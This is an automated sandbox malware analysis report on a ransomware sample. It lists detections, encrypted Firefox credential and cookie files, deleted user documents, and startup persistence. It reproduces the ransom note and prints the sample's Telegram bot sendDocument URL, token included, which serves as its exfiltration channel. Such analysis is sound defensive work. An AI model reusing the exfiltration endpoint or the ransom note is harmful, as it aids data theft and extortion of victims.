Edit tour

Windows Analysis Report
aASfOObWpW.exe

Overview

General Information

Sample name:	aASfOObWpW.exe renamed because original name is a hash value
Original sample name:	e17bfe60dea579699f67bd70e7e49aba582f5ff2337ca38d78dba650edd5ba3d.exe
Analysis ID:	1592007
MD5:	0e1cbce00abf322c5e98afb2e6c46998
SHA1:	6b8da7d766f60543b56c51c71e942a3f61c74cf2
SHA256:	e17bfe60dea579699f67bd70e7e49aba582f5ff2337ca38d78dba650edd5ba3d
Tags:	exeransomwareuser-JAMESWT_MHT
Infos:

Detection

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected RansomwareGeneric4

AI detected suspicious sample

Modifies existing user documents (likely ransomware behavior)

Overwrites Mozilla Firefox settings

Tries to harvest and steal browser information (history, passwords, etc)

Uses the Telegram API (likely for C&C communication)

Writes a notice file (html or txt) to demand a ransom

Writes many files with high entropy

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains long sleeps (>= 3 min)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Startup Folder File Write

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64

aASfOObWpW.exe (PID: 6224 cmdline: "C:\Users\user\Desktop\aASfOObWpW.exe" MD5: 0E1CBCE00ABF322C5E98AFB2E6C46998)

OpenWith.exe (PID: 7064 cmdline: C:\Windows\system32\OpenWith.exe -Embedding MD5: E4A834784FA08C17D47A1E72429C5109)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: aASfOObWpW.exe PID: 6224	JoeSecurity_Ransomware_Generic_4	Yara detected Ransomware_Generic_4	Joe Security

Sigma Signatures

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\aASfOObWpW.exe, ProcessId: 6224, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini.werus

Suricata Signatures

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T16:38:03.628445+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	49706	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: aASfOObWpW.exe	Virustotal: Detection: 47%			Perma Link
Source: aASfOObWpW.exe	ReversingLabs: Detection: 44%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.7% probability

Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\Desktop\Readme_5621a09a-6865-4fe9-9682-1b2d95c65b31_1.txt	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\Desktop\Readme_5621a09a-6865-4fe9-9682-1b2d95c65b31_2.txt	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\Desktop\Readme_5621a09a-6865-4fe9-9682-1b2d95c65b31_3.txt	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\Desktop\Readme_5621a09a-6865-4fe9-9682-1b2d95c65b31_4.txt	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\Desktop\Readme_5621a09a-6865-4fe9-9682-1b2d95c65b31_5.txt	Jump to behavior

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49706 version: TLS 1.2

Source: aASfOObWpW.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\pover\source\repos\WindowsFormsApp1\WindowsFormsApp1\obj\Debug\WindowsFormsApp1.pdb source: aASfOObWpW.exe
Source:	Binary string: C:\Users\pover\source\repos\WindowsFormsApp1\WindowsFormsApp1\obj\Debug\WindowsFormsApp1.pdb}Z source: aASfOObWpW.exe

Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_storei	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobData	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMGrpPrm.sav	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobSettings	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMDocs.sav	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_store	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:49706 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic

HTTP traffic detected: POST /bot7277798486:AAEyKmvjnINtyS8uzKbaNK-Qn4l4o-hjPqY/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary="8cd71c09-1b04-4823-a074-3cf2c1300e68"Host: api.telegram.orgContent-Length: 671Expect: 100-continueConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 149.154.167.220 149.154.167.220

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: api.telegram.org

Source: unknown

Source: aASfOObWpW.exe, 00000000.00000002.3285517784.0000000002301000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: aASfOObWpW.exe, 00000000.00000002.3285517784.0000000002301000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: aASfOObWpW.exe	String found in binary or memory: https://api.telegram.org/bot7277798486:AAEyKmvjnINtyS8uzKbaNK-Qn4l4o-hjPqY/sendDocument

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49706 version: TLS 1.2

Source: C:\Users\user\Desktop\aASfOObWpW.exe

Code function: 0_2_087FD379 GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,

0_2_087FD379

Spam, unwanted Advertisements and Ransom Demands

Yara detected RansomwareGeneric4

Source: Yara match

File source: Process Memory Space: aASfOObWpW.exe PID: 6224, type: MEMORYSTR

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\aASfOObWpW.exe	File deleted: C:\Users\user\Desktop\GRXZDKKVDB.pdf	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File deleted: C:\Users\user\Desktop\NVWZAPQSQL\EFOYFBOLXA.xlsx	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File deleted: C:\Users\user\Desktop\EIVQSAOTAQ.jpg	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File deleted: C:\Users\user\Desktop\EOWRVPQCCS.xlsx	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File deleted: C:\Users\user\Desktop\EWZCVGNOWT.pdf	Jump to behavior

Writes a notice file (html or txt) to demand a ransom

Source: C:\Users\user\Desktop\aASfOObWpW.exe	File dropped: C:\Users\user\Desktop\Readme_5621a09a-6865-4fe9-9682-1b2d95c65b31_1.txt -> id: 5621a09a-6865-4fe9-9682-1b2d95c65b31your files have been encrypted!to recover your data, please transfer 0.5 bitcoins to the following address: 1a2b3c4d5e6f7g8h9i0j1k2l3m4n4n4n5o6p7.the payment deadline is 72 hours. after that, your files will be destroyed. do not attempt to recover your files yourselfinstructions in the file readme_@.txtcontact via telegram: @aboba	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File dropped: C:\Users\user\Desktop\Readme_5621a09a-6865-4fe9-9682-1b2d95c65b31_2.txt -> id: 5621a09a-6865-4fe9-9682-1b2d95c65b31your files have been encrypted!to recover your data, please transfer 0.5 bitcoins to the following address: 1a2b3c4d5e6f7g8h9i0j1k2l3m4n4n4n5o6p7.the payment deadline is 72 hours. after that, your files will be destroyed. do not attempt to recover your files yourselfinstructions in the file readme_@.txtcontact via telegram: @aboba	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File dropped: C:\Users\user\Desktop\Readme_5621a09a-6865-4fe9-9682-1b2d95c65b31_3.txt -> id: 5621a09a-6865-4fe9-9682-1b2d95c65b31your files have been encrypted!to recover your data, please transfer 0.5 bitcoins to the following address: 1a2b3c4d5e6f7g8h9i0j1k2l3m4n4n4n5o6p7.the payment deadline is 72 hours. after that, your files will be destroyed. do not attempt to recover your files yourselfinstructions in the file readme_@.txtcontact via telegram: @aboba	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File dropped: C:\Users\user\Desktop\Readme_5621a09a-6865-4fe9-9682-1b2d95c65b31_4.txt -> id: 5621a09a-6865-4fe9-9682-1b2d95c65b31your files have been encrypted!to recover your data, please transfer 0.5 bitcoins to the following address: 1a2b3c4d5e6f7g8h9i0j1k2l3m4n4n4n5o6p7.the payment deadline is 72 hours. after that, your files will be destroyed. do not attempt to recover your files yourselfinstructions in the file readme_@.txtcontact via telegram: @aboba	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File dropped: C:\Users\user\Desktop\Readme_5621a09a-6865-4fe9-9682-1b2d95c65b31_5.txt -> id: 5621a09a-6865-4fe9-9682-1b2d95c65b31your files have been encrypted!to recover your data, please transfer 0.5 bitcoins to the following address: 1a2b3c4d5e6f7g8h9i0j1k2l3m4n4n4n5o6p7.the payment deadline is 72 hours. after that, your files will be destroyed. do not attempt to recover your files yourselfinstructions in the file readme_@.txtcontact via telegram: @aboba	Jump to dropped file

Writes many files with high entropy

Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm.werus entropy: 7.99549843807	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\protections.sqlite.werus entropy: 7.99707329839	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_storei.werus entropy: 7.9910415315	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite.werus entropy: 7.99840339265	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite-shm.werus entropy: 7.99419425806	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\Desktop\aASfOObWpW.exe.werus entropy: 7.99071661336	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\saved-telemetry-pings\a83301c6-790b-49f3-adc7-55a855f7fe79.werus entropy: 7.99734989401	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\ls-archive.sqlite.werus entropy: 7.9985544269	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite.werus entropy: 7.99618711323	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-shm.werus entropy: 7.99419425806	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite.werus entropy: 7.99591577237	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-shm.werus entropy: 7.99382128945	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite.werus entropy: 7.99634812138	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-shm.werus entropy: 7.99419425806	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite.werus entropy: 7.99662822769	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-shm.werus entropy: 7.99412533574	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite.werus entropy: 7.99576613361	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-shm.werus entropy: 7.99419425806	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite.werus entropy: 7.99967278306	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-shm.werus entropy: 7.99461976064	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper.werus entropy: 7.99936424181	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db.werus entropy: 7.99926197275	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\content-prefs.sqlite.werus entropy: 7.99926085964	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite.werus entropy: 7.99800318348	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm.werus entropy: 7.99419425806	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\extensions.json.werus entropy: 7.99594617162	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite.werus entropy: 7.99996490065	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite-shm.werus entropy: 7.99419425806	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db.werus entropy: 7.99940191012	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\permissions.sqlite.werus entropy: 7.9979615461	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite.werus entropy: 7.99996595681	Jump to dropped file

Source: C:\Users\user\Desktop\aASfOObWpW.exe	Code function: 0_2_087F8AD8	0_2_087F8AD8
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Code function: 0_2_087F30E8	0_2_087F30E8
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Code function: 0_2_087F89F8	0_2_087F89F8
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Code function: 0_2_087F9CE0	0_2_087F9CE0
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Code function: 0_2_087F9788	0_2_087F9788

Source: aASfOObWpW.exe, 00000000.00000002.3284135331.000000000070E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs aASfOObWpW.exe
Source: aASfOObWpW.exe, 00000000.00000002.3285517784.000000000261D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameWindowsFormsApp1.exeB vs aASfOObWpW.exe
Source: aASfOObWpW.exe, 00000000.00000002.3285517784.000000000261D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs aASfOObWpW.exe
Source: aASfOObWpW.exe, 00000000.00000002.3285517784.000000000261D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $jq,\\StringFileInfo\\000004B0\\OriginalFilename vs aASfOObWpW.exe
Source: aASfOObWpW.exe, 00000000.00000000.2028171778.0000000000012000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameWindowsFormsApp1.exeB vs aASfOObWpW.exe
Source: aASfOObWpW.exe	Binary or memory string: OriginalFilenameWindowsFormsApp1.exeB vs aASfOObWpW.exe

Source: classification engine

Classification label: mal92.rans.phis.troj.spyw.winEXE@2/292@1/1

Source: C:\Users\user\Desktop\aASfOObWpW.exe

File created: C:\Users\user\Desktop\aASfOObWpW.exe.werus

Jump to behavior

Source: C:\Users\user\Desktop\aASfOObWpW.exe	Mutant created: NULL
Source: C:\Windows\System32\OpenWith.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7064:120:WilError_03

Source: C:\Users\user\Desktop\aASfOObWpW.exe

File created: C:\Users\user\AppData\Local\Temp\encrypted_wallpaper.bmp

Jump to behavior

Source: aASfOObWpW.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: aASfOObWpW.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\aASfOObWpW.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\aASfOObWpW.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: aASfOObWpW.exe	Virustotal: Detection: 47%
Source: aASfOObWpW.exe	ReversingLabs: Detection: 44%

Source: C:\Users\user\Desktop\aASfOObWpW.exe

File read: C:\Users\user\Desktop\aASfOObWpW.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\aASfOObWpW.exe "C:\Users\user\Desktop\aASfOObWpW.exe"
Source: unknown	Process created: C:\Windows\System32\OpenWith.exe C:\Windows\system32\OpenWith.exe -Embedding

Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: twinui.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: actxprxy.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.ui.appdefaults.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: uiautomationcore.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: uianimation.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.ui.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windowmanagementapi.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
